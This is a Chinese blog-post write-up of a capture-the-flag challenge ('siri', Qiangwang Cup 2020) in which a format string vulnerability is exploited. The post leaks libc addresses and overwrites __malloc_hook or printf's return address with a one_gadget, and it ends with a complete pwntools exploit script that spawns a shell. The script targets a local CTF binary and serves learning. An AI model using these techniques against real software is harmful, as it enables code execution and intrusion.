[PWN] 强网杯2020siri 手撸格式化字符串 劫持hook/返回地址

8 篇文章 0 订阅

星盟安全格式化字符串漏洞利用中的一道例题

本地环境位于Ubuntu22.04

checksec:
保护全开,无法劫持got表
在这里插入图片描述
IDA:
在这里插入图片描述
在这里插入图片描述
sub_1212函数存在格式化字符串漏洞,不存在栈溢出,触发过程如下:
发送"Hey Siri!"==>发送"Remind me to " + payload
思路
1.劫持__malloc_hook或者__free_hook函数地址为onegadget,最后printf打印大量字符调用malloc
在这里插入图片描述
在这里插入图片描述

2.修改printf函数的返回地址为onegadget

方法一:劫持__malloc_hook

onegadget

获取onegadget相对于libc基址的偏移,注意使用条件
在这里插入图片描述

获取libc基址

利用格式化字符串漏洞打印'__libc_start_main'函数真实地址,减去函数偏移即可得到libc基址
基址加上'__malloc_hook'函数的偏移即可得到'__malloc_hook'函数真实地址
基址加上onegadget的偏移即可得到onegadget真实地址,

libc_base = int(rc(14),16) - 128 - libc.symbols['__libc_start_main']
malloc_hook = libc_base + libc.symbols['__malloc_hook']
one_gadget = libc_base + 0xebcf5
如何打印'__libc_start_main'函数真实地址

利用%n$p,下断点 b printf ,
当断在sub_1212函数的printf处时,stack 100查看栈内容
在这里插入图片描述
利用fmtarg命令查看'__libc_start_main+128'函数地址在栈上相对于printf是第几个参数
因此输入%103$p即可获得'__libc_start_main+128'地址,减去128即为'__libc_start_main+128'函数真实地址

格式化字符串劫持__malloc_hook函数地址

利用"%{}c%{}$hn".format(target_size,address)修改指定地址的内容为目标大小,每次写2个字节,64位地址一共6个字节,需要写3次
在这里我们需要将'__malloc_hook'函数的地址修改为onegadget地址,即将下图红框内容修改为onegadget
在这里插入图片描述
第一次写最后2个字节,第二次中间两个字节,第三次写前面2个字节
![在这里插入图片描述](https://img-blog.csdnimg.cn/7c95cd61495947dca18d1d962f73f527.png
写地址脚本如下:

write_size = 0
offset = 55
payload = ''
for i in range(3):
    num = (one_gadget >> 16*i) & 0xffff
    num -= 27
    if(num > write_size&0xffff):
        payload += "%{}c%{}$hn".format(num - (write_size&0xffff),offset + i)
        write_size += num - write_size&0xffff
    else:
        payload += "%{}c%{}$hn".format(0x10000 + num - (write_size&0xffff),offset + i)
        write_size += 0x10000 + num - (write_size&0xffff)
# 凑偏移 55
payload = bytes(payload.encode('utf-8'))
payload = payload.ljust(0x38-13,b'a')
for i in range(3):
    payload += p64(malloc_hook + i*2)

num -= 27是因为printf(">>> OK, I’ll remind you to " + payload)格式化字符串时,">>> OK, I'll remind you to "有27个字节
payload.ljust(0x38-13,b’a’):
-13是因为send字符串时要以"Remind me to "开头,有13个字节;
ljust(0x38-13,b’a’)是因为凑齐55的偏移,确定要修改的地址是printf的第几个参数(只要可以对应上,可以是其他的偏移)
在这里插入图片描述
在这里插入图片描述

注意写地址的大小

在这里插入图片描述
在这里插入图片描述

结果

在这里插入图片描述

劫持'__malloc_hook'前:
在这里插入图片描述
劫持'__malloc_hook'后:
在这里插入图片描述
可以看到劫持'__malloc_hook'的地址已经被劫持为onegadget的地址x7f04aa700cf5
最后发送大量内容%99999c导致printf调用malloc分配缓冲区

siri(b"%99999c")

但是不知道什么原因呢无法触发,可能是因为onegadget的条件没有满足

方法二:劫持返回地址

进入printf函数后查看返回地址,即为rsp,可以通过泄露栈上地址减去相对偏移的方式得到存储返回地址的栈地址
在这里插入图片描述
这里选择泄露%7$p处的地址
在这里插入图片描述
代码如下

siri(b"%7$p")
rcu(b">>> OK, I'll remind you to ")
rsp = int(rc(14),16) - 0x158
lg("rsp",rsp)

修改地址的方式和劫持malloc_hook一样,只需要将待修改的地址改为rsp即可

for i in range(3):
    payload += p64(rsp + i*2)

劫持返回地址不需要发送大量内容去触发,成功获得shell
在这里插入图片描述

代码如下:

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
from time import *

sd      = lambda payload        : p.send(payload)
sdl     = lambda payload        : p.sendline(payload)
sda     = lambda data,payload   : p.sendafter(data,payload)
sdla    = lambda data,payload   : p.sendlineafter(data,payload)
it      = lambda                : p.interactive()
rc      = lambda num            : p.recv(num)
rc_all  = lambda                : p.recv()
rcu     = lambda data           : p.recvuntil(data)
lbc     = lambda str1,str2      : LibcSearcher(str1,str2)
lg      = lambda name,data      : p.success("\033[1;31m%s\033[0m --> 0x%x" % (name,data))
get_addr_64 = lambda: u64(rcu(b"\x7f")[-6:].ljust(8,b"\x00"))

def db():
    gdb.attach(p)
    pause()
 
def dbs(src):
    gdb.attach(p, src)

# siri
p =process("./siri")
elf = ELF("./siri")
libc = ELF("./libc.so.6")
def siri(payload):
    rcu(b">>> ")
    sdl(b"Hey Siri!")
    rcu(b"you?\n>>> ")
    sdl(b"Remind me to " + payload)
# dbs("b printf")

# siri(b"%45$p")
# rcu(b"0x")
# canary = int(rc(16),16)

## __libc_start_call_main+128 : %83$p
## __libc_start_main+128 : %103$p
siri(b"%103$p")
rcu(b">>> OK, I'll remind you to ")
libc_base = int(rc(14),16) - 128 - libc.symbols['__libc_start_main']
malloc_hook = libc_base + libc.symbols['__malloc_hook']
one_gadget = libc_base + 0xebcf5
lg("libc_base",libc_base)
lg("malloc_hook",malloc_hook)
lg("one_gadget",one_gadget)

siri(b"%7$p")
rcu(b">>> OK, I'll remind you to ")
rsp = int(rc(14),16) - 0x158
lg("rsp",rsp)

write_size = 0
offset = 55
payload = ''
for i in range(3):
    num = (one_gadget >> 16*i) & 0xffff
    num -= 27
    if(num > write_size&0xffff):
        payload += "%{}c%{}$hn".format(num - (write_size&0xffff),offset + i)
        write_size += num - write_size&0xffff
    else:
        payload += "%{}c%{}$hn".format(0x10000 + num - (write_size&0xffff),offset + i)
        write_size += 0x10000 + num - (write_size&0xffff)
# 凑偏移 55
payload = bytes(payload.encode('utf-8'))
payload = payload.ljust(0x38-13,b'a')
for i in range(3):
    payload += p64(rsp + i*2)
siri(payload)
# sleep(0.1)
# siri(b"%99999c")
it()
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值